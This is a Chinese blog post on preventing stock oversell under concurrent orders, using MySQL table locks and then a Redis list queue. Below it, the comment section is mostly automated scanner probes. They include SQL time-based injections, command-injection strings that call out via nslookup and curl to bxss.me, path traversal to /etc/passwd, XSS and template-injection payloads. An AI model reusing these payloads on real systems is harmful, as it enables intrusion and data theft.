继续关于并发操作数据库问题的研究
就很久之前自己写过的一篇关于mysql锁表的文章,http://paperen.com/post/lock-table,在目前来看实现上并不存在太大的问题,而当情况放在高并发的情形下那么该解决方案会变得不那么可行,原因是对数据库update操作实在频繁而且高并发情况下大量操作需要等待某个解锁后才能执行
就接着之前那篇文章说的情况
商店现在某商品只有1件库存,然后A与B在网上进行下订,A与B几乎同时(或许也就差几毫秒,A比B快那么一点点)进行
在这种应用情景下,我们先建立一个数据表 product,注意到使用了innoDB引擎
CREATE TABLE `product` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `num` mediumint(8) DEFAULT '0', `goods` varchar(60) CHARACTER SET latin1 DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; INSERT INTO `product` VALUES ('1', '1', 'test');
下面为基本php代码
<?php $dbhost = '127.0.0.1'; $dbname = 'test'; $dbpwd = ''; $dbuser = 'root'; try { $conn = mysqli_connect($dbhost, $dbuser, $dbpwd); if ( !$conn ) throw new Exception('db error'); mysqli_select_db($conn, $dbname); mysqli_query($conn,'set names UTF8'); $id = 1; $sql = "select * from product where id='{$id}'"; $query = mysqli_query($conn, $sql); $data = mysqli_fetch_array($query, MYSQLI_ASSOC); if ( $data['num'] <= 0 ) throw new Exception('product sold out'); sleep(1); $sql = "update product set num=num-1 where id='{$id}'"; mysqli_query($conn, $sql); echo 'ok'; } catch( Exception $e ) { echo $e->getMessage(); }
从代码上来看一点问题都没有,对吧?但是在实际情况下特别是并发的时候就会出现问题,当A与B同时发出请求,那么两人均能ok,而且库存会变成-1,为什么会这样子?因为是并发,当还没有update完成之前再进来一个请求,那么就上面这些代码是完全能跑通的,最后会让库存变为-1(这里加了sleep也是为了更容易重现这情况),使用jmeter可以测试出来
然后我们使用mysql的锁机制来防止这种情况,增加了两个函数lock与unlock,方便调用而已
$id = 1; // 锁 lock('product', 1); $sql = "select * from product where id='{$id}'"; $query = mysqli_query($conn, $sql); $data = mysqli_fetch_array($query, MYSQLI_ASSOC); if ( $data['num'] <= 0 ) throw new Exception('product sold out'); sleep(1); $sql = "update product set num=num-1 where id='{$id}'"; mysqli_query($conn, $sql); echo 'ok'; // 解锁 unlock('product'); function lock($table, $type = 0) { global $conn; $op = ( $type == 0 ) ? 'READ' : 'WRITE'; $sql = "LOCK TABLE `{$table}` {$op}"; mysqli_query($conn, $sql); } function unlock($table) { global $conn; $sql = "UNLOCK TABLES"; mysqli_query($conn, $sql); }
这就是达到我们要的效果,因为后来的请求需要等待之前的请求更新完后才能查询库存,所以就防止了一起进入update的逻辑部分,但是基于数据库的解决方案在高并发时是很吃力的,可想在很多并发的情况下,这里操作数据库实在是太频繁了,会为数据库带来不少压力
到目前为止大概知道了一些问题
- 避免直接操作数据库
- 需要有队列的概念
正好redis里面存在一个数据结构为LIST,这正是完全符合了上面两点的解决方向,我们使用redis改进下代码
** init_redis.php 这里随便往redis初始化一个LIST,而LIST的数据长度取决于库存 **
<?php $redis_host = '127.0.0.1'; $redis_port = 6379; $redis_products_key = 'products'; $dbhost = '127.0.0.1'; $dbname = 'test'; $dbpwd = ''; $dbuser = 'root'; try { $redis = new redis(); $redis->connect($redis_host, $redis_port); $conn = mysqli_connect($dbhost, $dbuser, $dbpwd); if ( !$conn ) throw new Exception('db error'); mysqli_select_db($conn, $dbname); mysqli_query($conn,'set names UTF8'); $id = 1; $sql = "select * from product where id='{$id}'"; $query = mysqli_query($conn, $sql); $data = mysqli_fetch_array($query, MYSQLI_ASSOC); for($i=0;$i<$data['num'];$i++) $redis->lPush($redis_products_key, "test{$i}"); } catch( Exception $e ) { echo $e->getMessage(); }
** 操作库存的代码 **
<?php $redis_host = '127.0.0.1'; $redis_port = 6379; $redis_products_key = 'products'; $dbhost = '127.0.0.1'; $dbname = 'test'; $dbpwd = ''; $dbuser = 'root'; try { $redis = new redis(); $redis->connect($redis_host, $redis_port); $conn = mysqli_connect($dbhost, $dbuser, $dbpwd); if ( !$conn ) throw new Exception('db error'); mysqli_select_db($conn, $dbname); mysqli_query($conn,'set names UTF8'); $id = 1; $product = $redis->lPop($redis_products_key); echo $product; if ( empty( $product ) ) { throw new Exception('product sold out'); } echo 'ok'; } catch( Exception $e ) { echo $e->getMessage(); }
可以看到这里使用了redis的lPop,给每请求过来的弹出一个值(可以理解为去餐馆吃饭时要的等待号),一旦没有号了证明库存已经为0,改进为这样之后,可想而知数据库的压力将大大减少,因为根本没有直接操作数据库,仅仅当redis的操作,但可以认识到的是在某个时刻看数据库的库存并不是真实的,实际的库存是等于 redis中LIST的长度 ,已售的商品数为 库存总数-redis中LIST的长度,所以要查询商品的当前库存的话就需要读取redis中LIST的长度而不是数据库中字段的数据,同时也应该建立一个机制,库存数同步回mysql中
最近面试过程也会被问到的这些问题,经过这个研究后大概也就不害怕涉及这些情况了,而当时自己只是回答了使用数据表的锁来实现,嗯~确实也是负分的答案
最后最后要感谢下豪神(@工程师的微博)
huangyingqi 8年前
hello,子恩
回覆TALi 8年前
请问最后这段 if ( empty( $product ) ) { throw new Exception('product sold out'); } else { mysql的操作类是写在这里吗。 } 写到一个抽奖的程序,每人只能抽一次 发现并发的时候一个人会同时请求多次,程序锁了 但还是有多次插入数据的情况。 看了该文章 请教下 想做不管有多少并发进来先写进redis队列里 在按队列操作数据库代码。 请教下如何锁住下一个redis队列里的人。等上一个跑完在进行。
回覆TAQPbmCRVM 1月前
response.write(9917306*9359514)
回覆TAQPbmCRVM 1月前
'+response.write(9917306*9359514)+'
回覆TAQPbmCRVM 1月前
"+response.write(9917306*9359514)+"
回覆TAQPbmCRVM 1月前
axZMpicK
回覆TAQPbmCRVM 1月前
1 bcc:009247.3139-18062.3139.b2a7b.20030.2@bxss.me
回覆TAQPbmCRVM 1月前
to@example.com> bcc:009247.3139-18063.3139.b2a7b.20030.2@bxss.me
回覆TAQPbmCRVM 1月前
../../../../../../../../../../../../../../etc/passwd
回覆TAQPbmCRVM 1月前
../../../../../../../../../../../../../../windows/win.ini
回覆TAQPbmCRVM 1月前
file:///etc/passwd
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
12345'"\'\");|]*{ ''
回覆TAQPbmCRVM 1月前
echo dnppji$()\ grojqy\nz^xyu||a #' &echo; dnppji$()\ grojqy\nz^xyu||a #|" &echo; dnppji$()\ grojqy\nz^xyu||a #
回覆TAQPbmCRVM 1月前
&echo; eysupw$()\ fimqaj\nz^xyu||a #' &echo; eysupw$()\ fimqaj\nz^xyu||a #|" &echo; eysupw$()\ fimqaj\nz^xyu||a #
回覆TAQPbmCRVM 1月前
|echo dovezm$()\ bvucle\nz^xyu||a #' |echo dovezm$()\ bvucle\nz^xyu||a #|" |echo dovezm$()\ bvucle\nz^xyu||a #
回覆TAQPbmCRVM 1月前
(nslookup -q=cname hitmnsxkgmoyb8c82e.bxss.me||curl hitmnsxkgmoyb8c82e.bxss.me))
回覆TAQPbmCRVM 1月前
$(nslookup -q=cname hitggqwyvtilt85912.bxss.me||curl hitggqwyvtilt85912.bxss.me)
回覆TAQPbmCRVM 1月前
${9999647+9999027}
回覆TAQPbmCRVM 1月前
&nslookup; -q=cname hitodcsjzjhgm9bee0.bxss.me&'\"`0&nslookup; -q=cname hitodcsjzjhgm9bee0.bxss.me&`'
回覆TAQPbmCRVM 1月前
&(nslookup -q=cname hitidjelxwjzz6ff25.bxss.me||curl hitidjelxwjzz6ff25.bxss.me)&'\"`0&(nslookup -q=cname hitidjelxwjzz6ff25.bxss.me||curl hitidjelxwjzz6ff25.bxss.me)&`'
回覆TAQPbmCRVM 1月前
|(nslookup -q=cname hitaonaprtqpk9de9b.bxss.me||curl hitaonaprtqpk9de9b.bxss.me)
回覆TAQPbmCRVM 1月前
`(nslookup -q=cname hithnwavzdydn3582c.bxss.me||curl hithnwavzdydn3582c.bxss.me)`
回覆TAQPbmCRVM 1月前
;(nslookup -q=cname hitvpooibaols478c5.bxss.me||curl hitvpooibaols478c5.bxss.me)|(nslookup -q=cname hitvpooibaols478c5.bxss.me||curl hitvpooibaols478c5.bxss.me)&(nslookup -q=cname hitvpooibaols478c5.bxss.me||curl hitvpooibaols478c5.bxss.me)
回覆TAQPbmCRVM 1月前
1&n986238=v945855
回覆TAQPbmCRVM 1月前
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
回覆TAQPbmCRVM 1月前
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
回覆TAQPbmCRVM 1月前
!(()&&!|*|*|
回覆TAQPbmCRVM 1月前
Http://bxss.me/t/fit.txt
回覆TAQPbmCRVM 1月前
^(#$!@#$)(()))******
回覆TAQPbmCRVM 1月前
'.gethostbyname(lc('hitpf'.'bnzakmza4b095.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(70).chr(119).chr(86).'
回覆TAQPbmCRVM 1月前
http://bxss.me/t/fit.txt?.jpg
回覆TAQPbmCRVM 1月前
/etc/shells
回覆TAQPbmCRVM 1月前
".gethostbyname(lc("hityr"."zycdcltreffba.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(85).chr(117).chr(66)."
回覆TAQPbmCRVM 1月前
c:/windows/win.ini
回覆TAQPbmCRVM 1月前
1'&&sleep;(27*1000)*xdctip&&'
回覆TAQPbmCRVM 1月前
1"&&sleep;(27*1000)*cdquyj&&"
回覆TAQPbmCRVM 1月前
1'||sleep(27*1000)*pbkxsh||'
回覆TAQPbmCRVM 1月前
1"||sleep(27*1000)*wswxzo||"
回覆TAQPbmCRVM 1月前
HttP://bxss.me/t/xss.html?
回覆TAQPbmCRVM 1月前
bxss.me/t/xss.html?
回覆TAQPbmCRVM 1月前
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
回覆TAQPbmCRVM 1月前
';print(md5(31337));$a='
回覆TAQPbmCRVM 1月前
";print(md5(31337));$a="
回覆TAQPbmCRVM 1月前
${@print(md5(31337))}
回覆TAQPbmCRVM 1月前
${@print(md5(31337))}\
回覆TAQPbmCRVM 1月前
'.print(md5(31337)).'
回覆TAQPbmCRVM 1月前
"+"A".concat(70-3).concat(22*4).concat(105).concat(80).concat(99).concat(80)+(require"socket" Socket.gethostbyname("hitxh"+"rhyvwwcf1ed59.bxss.me.")[3].to_s)+"
回覆TAQPbmCRVM 1月前
'+'A'.concat(70-3).concat(22*4).concat(109).concat(80).concat(107).concat(82)+(require'socket' Socket.gethostbyname('hitnv'+'bqrtqvim17f07.bxss.me.')[3].to_s)+'
回覆TAQPbmCRVM 1月前
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
回覆TAQPbmCRVM 1月前
comment/.
回覆TAQPbmCRVM 1月前
xfs.bxss.me
回覆TAQPbmCRVM 1月前
http://xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
//xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
/\xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
1'"()&%[removed]AiQN(9345)[removed]
回覆TAQPbmCRVM 1月前
'"()&%[removed]AiQN(9200)[removed]
回覆TAQPbmCRVM 1月前
19797768
回覆TAQPbmCRVM 1月前
bfg10157<s1﹥s2ʺs3ʹhjl10157
回覆TAQPbmCRVM 1月前
bfgx6487z1z2abcxhjl6487
回覆TAQPbmCRVM 1月前
回覆TAQPbmCRVM 1月前
回覆TAQPbmCRVM 1月前
1}}"}}'}}1%>"%>'%>
回覆TAQPbmCRVM 1月前
dfb{{98991*97996}}xca
回覆TAQPbmCRVM 1月前
dfb[[${98991*97996}]]xca
回覆TAQPbmCRVM 1月前
dfb__${98991*97996}__::.x
回覆TAQPbmCRVM 1月前
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
回覆TAQPbmCRVM 1月前
1[removed]AiQN(9259)[removed]
回覆TAQPbmCRVM 1月前
1YHQ1S[!+!]
回覆TAQPbmCRVM 1月前
1[removed]AiQN(9584)[removed]
回覆TAQPbmCRVM 1月前
1AiQN(9106)
回覆TAQPbmCRVM 1月前
1[removed]AiQN(9094)[removed]
回覆TAQPbmCRVM 1月前
1[removed][removed]
回覆TAQPbmCRVM 1月前
1[removed]AiQN(9590)[removed]
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
1<isindex type=image src=1 onerror=AiQN(9503)>
回覆TAQPbmCRVM 1月前
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9700'>
回覆TAQPbmCRVM 1月前
1<body onload=AiQN(9555)>
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
1[removed]AiQN(9135)[removed]
回覆TAQPbmCRVM 1月前
VPO3pnHw
回覆TAQPbmCRVM 1月前
1\u003CScRiPt\AiQN(9847)\u003C/sCripT\u003E
回覆TAQPbmCRVM 1月前
1<ScRiPt>AiQN(9136)</sCripT>
回覆TAQPbmCRVM 1月前
1<input autofocus onfocus=AiQN(9926)>
回覆TAQPbmCRVM 1月前
1*373*368*0
回覆TAQPbmCRVM 1月前
回覆TAQPbmCRVM 1月前
(379-373-5)
回覆TAQPbmCRVM 1月前
1}body{zzz:Expre/**/SSion(AiQN(9173))}
回覆TAQPbmCRVM 1月前
1*119*114*0
回覆TAQPbmCRVM 1月前
1afLN6 [removed]AiQN(9650)[removed]
回覆TAQPbmCRVM 1月前
(125-119-5)
回覆TAQPbmCRVM 1月前
1ET0MN[!+!]
回覆TAQPbmCRVM 1月前
1*646*641*0
回覆TAQPbmCRVM 1月前
1<ifRAme sRc=9682.com></IfRamE>
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
(652-646-5)
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
1*487*482*0
回覆TAQPbmCRVM 1月前
(493-487-5)
回覆TAQPbmCRVM 1月前
-1 OR 2+767-767-1=0+0+0+1
回覆TAQPbmCRVM 1月前
-1 OR 3+767-767-1=0+0+0+1
回覆TAQPbmCRVM 1月前
if(now()=sysdate(),sleep(15),0)
回覆TAQPbmCRVM 1月前
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
回覆TAQPbmCRVM 1月前
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
回覆TAQPbmCRVM 1月前
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
回覆TAQPbmCRVM 1月前
-1; waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
-1); waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
1 waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
xCjM0Hyr'; waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
-5 OR 233=(SELECT 233 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
-5) OR 710=(SELECT 710 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
-1)) OR 789=(SELECT 789 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
QlgE8ctn' OR 420=(SELECT 420 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
gnbl7gvN') OR 877=(SELECT 877 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
mEaYnqyI')) OR 302=(SELECT 302 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
回覆TAQPbmCRVM 1月前
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
回覆TAQPbmCRVM 1月前
ezRjjJDP
回覆TAQPbmCRVM 1月前
response.write(9232884*9621330)
回覆TAQPbmCRVM 1月前
'+response.write(9232884*9621330)+'
回覆TAQPbmCRVM 1月前
"+response.write(9232884*9621330)+"
回覆TAQPbmCRVM 1月前
../../../../../../../../../../../../../../etc/passwd
回覆TAQPbmCRVM 1月前
../../../../../../../../../../../../../../windows/win.ini
回覆TAQPbmCRVM 1月前
1 bcc:009247.3139-19873.3139.b2a7b.20030.2@bxss.me
回覆TAQPbmCRVM 1月前
file:///etc/passwd
回覆TAQPbmCRVM 1月前
to@example.com> bcc:009247.3139-19874.3139.b2a7b.20030.2@bxss.me
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
12345'"\'\");|]*{ ''
回覆TAQPbmCRVM 1月前
echo juxovt$()\ hwnckr\nz^xyu||a #' &echo; juxovt$()\ hwnckr\nz^xyu||a #|" &echo; juxovt$()\ hwnckr\nz^xyu||a #
回覆TAQPbmCRVM 1月前
${9999753+9999409}
回覆TAQPbmCRVM 1月前
&echo; qmxbwy$()\ oewxmy\nz^xyu||a #' &echo; qmxbwy$()\ oewxmy\nz^xyu||a #|" &echo; qmxbwy$()\ oewxmy\nz^xyu||a #
回覆TAQPbmCRVM 1月前
|echo ayluhf$()\ zoufiz\nz^xyu||a #' |echo ayluhf$()\ zoufiz\nz^xyu||a #|" |echo ayluhf$()\ zoufiz\nz^xyu||a #
回覆TAQPbmCRVM 1月前
(nslookup -q=cname hitxabopezimbf0bc2.bxss.me||curl hitxabopezimbf0bc2.bxss.me))
回覆TAQPbmCRVM 1月前
$(nslookup -q=cname hitodwxcxeabvc61e8.bxss.me||curl hitodwxcxeabvc61e8.bxss.me)
回覆TAQPbmCRVM 1月前
&nslookup; -q=cname hiturjjaetyjce30c4.bxss.me&'\"`0&nslookup; -q=cname hiturjjaetyjce30c4.bxss.me&`'
回覆TAQPbmCRVM 1月前
&(nslookup -q=cname hitywuypztqdv7c1be.bxss.me||curl hitywuypztqdv7c1be.bxss.me)&'\"`0&(nslookup -q=cname hitywuypztqdv7c1be.bxss.me||curl hitywuypztqdv7c1be.bxss.me)&`'
回覆TAQPbmCRVM 1月前
|(nslookup -q=cname hitwocicrlrba5626b.bxss.me||curl hitwocicrlrba5626b.bxss.me)
回覆TAQPbmCRVM 1月前
`(nslookup -q=cname hitilfogatucqec6b0.bxss.me||curl hitilfogatucqec6b0.bxss.me)`
回覆TAQPbmCRVM 1月前
;(nslookup -q=cname hitbsykjowvele0a50.bxss.me||curl hitbsykjowvele0a50.bxss.me)|(nslookup -q=cname hitbsykjowvele0a50.bxss.me||curl hitbsykjowvele0a50.bxss.me)&(nslookup -q=cname hitbsykjowvele0a50.bxss.me||curl hitbsykjowvele0a50.bxss.me)
回覆TAQPbmCRVM 1月前
1&n958618=v913383
回覆TAQPbmCRVM 1月前
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
回覆TAQPbmCRVM 1月前
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
回覆TAQPbmCRVM 1月前
Http://bxss.me/t/fit.txt
回覆TAQPbmCRVM 1月前
http://bxss.me/t/fit.txt?.jpg
回覆TAQPbmCRVM 1月前
/etc/shells
回覆TAQPbmCRVM 1月前
c:/windows/win.ini
回覆TAQPbmCRVM 1月前
'.gethostbyname(lc('hitsy'.'rrfncnsxdd9c0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(73).chr(118).chr(82).'
回覆TAQPbmCRVM 1月前
".gethostbyname(lc("hithl"."skxbaesd0805d.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(84).chr(100).chr(81)."
回覆TAQPbmCRVM 1月前
!(()&&!|*|*|
回覆TAQPbmCRVM 1月前
^(#$!@#$)(()))******
回覆TAQPbmCRVM 1月前
1'&&sleep;(27*1000)*bblynm&&'
回覆TAQPbmCRVM 1月前
1"&&sleep;(27*1000)*wqhbtf&&"
回覆TAQPbmCRVM 1月前
1'||sleep(27*1000)*cbyqqr||'
回覆TAQPbmCRVM 1月前
1"||sleep(27*1000)*xsksbz||"
回覆TAQPbmCRVM 1月前
HttP://bxss.me/t/xss.html?
回覆TAQPbmCRVM 1月前
bxss.me/t/xss.html?
回覆TAQPbmCRVM 1月前
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
回覆TAQPbmCRVM 1月前
';print(md5(31337));$a='
回覆TAQPbmCRVM 1月前
";print(md5(31337));$a="
回覆TAQPbmCRVM 1月前
${@print(md5(31337))}
回覆TAQPbmCRVM 1月前
${@print(md5(31337))}\
回覆TAQPbmCRVM 1月前
'.print(md5(31337)).'
回覆TAQPbmCRVM 1月前
"+"A".concat(70-3).concat(22*4).concat(120).concat(66).concat(108).concat(76)+(require"socket" Socket.gethostbyname("hitpg"+"dknfyjeq05d3d.bxss.me.")[3].to_s)+"
回覆TAQPbmCRVM 1月前
'+'A'.concat(70-3).concat(22*4).concat(98).concat(74).concat(119).concat(83)+(require'socket' Socket.gethostbyname('hitcp'+'ufkbmych78e60.bxss.me.')[3].to_s)+'
回覆TAQPbmCRVM 1月前
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
回覆TAQPbmCRVM 1月前
xfs.bxss.me
回覆TAQPbmCRVM 1月前
http://xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
comment/.
回覆TAQPbmCRVM 1月前
xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
//xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
/\xfs.bxss.me?paperen.com
回覆TAQPbmCRVM 1月前
1'"()&%[removed]vOsv(9075)[removed]
回覆TAQPbmCRVM 1月前
'"()&%[removed]vOsv(9756)[removed]
回覆TAQPbmCRVM 1月前
19421306
回覆TAQPbmCRVM 1月前
bfg10252<s1﹥s2ʺs3ʹhjl10252
回覆TAQPbmCRVM 1月前
bfgx1720z1z2abcxhjl1720
回覆TAQPbmCRVM 1月前
回覆TAQPbmCRVM 1月前
回覆TAQPbmCRVM 1月前
1}}"}}'}}1%>"%>'%>
回覆TAQPbmCRVM 1月前
dfb{{98991*97996}}xca
回覆TAQPbmCRVM 1月前
dfb[[${98991*97996}]]xca
回覆TAQPbmCRVM 1月前
dfb__${98991*97996}__::.x
回覆TAQPbmCRVM 1月前
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
回覆TAQPbmCRVM 1月前
1[removed]vOsv(9508)[removed]
回覆TAQPbmCRVM 1月前
1TKXAF[!+!]
回覆TAQPbmCRVM 1月前
1[removed]vOsv(9351)[removed]
回覆TAQPbmCRVM 1月前
1vOsv(9957)
回覆TAQPbmCRVM 1月前
1[removed]vOsv(9117)[removed]
回覆TAQPbmCRVM 1月前
1[removed][removed]
回覆TAQPbmCRVM 1月前
1[removed]vOsv(9506)[removed]
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
1<isindex type=image src=1 onerror=vOsv(9976)>
回覆TAQPbmCRVM 1月前
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9475'>
回覆TAQPbmCRVM 1月前
1<body onload=vOsv(9386)>
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
1[removed]vOsv(9686)[removed]
回覆TAQPbmCRVM 1月前
1\u003CScRiPt\vOsv(9159)\u003C/sCripT\u003E
回覆TAQPbmCRVM 1月前
1<ScRiPt>vOsv(9873)</sCripT>
回覆TAQPbmCRVM 1月前
1<input autofocus onfocus=vOsv(9916)>
回覆TAQPbmCRVM 1月前
回覆TAQPbmCRVM 1月前
1}body{zzz:Expre/**/SSion(vOsv(9116))}
回覆TAQPbmCRVM 1月前
1EPLbC [removed]vOsv(9435)[removed]
回覆TAQPbmCRVM 1月前
1YZUQW[!+!]
回覆TAQPbmCRVM 1月前
1<ifRAme sRc=9562.com></IfRamE>
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
1
回覆TAQPbmCRVM 1月前
5vXZqnA0
回覆TAQPbmCRVM 1月前
1*213*208*0
回覆TAQPbmCRVM 1月前
(219-213-5)
回覆TAQPbmCRVM 1月前
1*738*733*0
回覆TAQPbmCRVM 1月前
(744-738-5)
回覆TAQPbmCRVM 1月前
1*739*734*0
回覆TAQPbmCRVM 1月前
(745-739-5)
回覆TAQPbmCRVM 1月前
1*767*762*0
回覆TAQPbmCRVM 1月前
(773-767-5)
回覆TAQPbmCRVM 1月前
-1 OR 2+10-10-1=0+0+0+1
回覆TAQPbmCRVM 1月前
-1 OR 3+10-10-1=0+0+0+1
回覆TAQPbmCRVM 1月前
if(now()=sysdate(),sleep(15),0)
回覆TAQPbmCRVM 1月前
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
回覆TAQPbmCRVM 1月前
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
回覆TAQPbmCRVM 1月前
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
回覆TAQPbmCRVM 1月前
-1; waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
-1); waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
1 waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
LRatXSlW'; waitfor delay '0:0:15' --
回覆TAQPbmCRVM 1月前
-5 OR 502=(SELECT 502 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
-5) OR 385=(SELECT 385 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
-1)) OR 487=(SELECT 487 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
i7Oa9Qey' OR 757=(SELECT 757 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
G9tYJgXy') OR 728=(SELECT 728 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
0YsBr5gM')) OR 494=(SELECT 494 FROM PG_SLEEP(15))--
回覆TAQPbmCRVM 1月前
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
回覆TAQPbmCRVM 1月前
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
回覆TA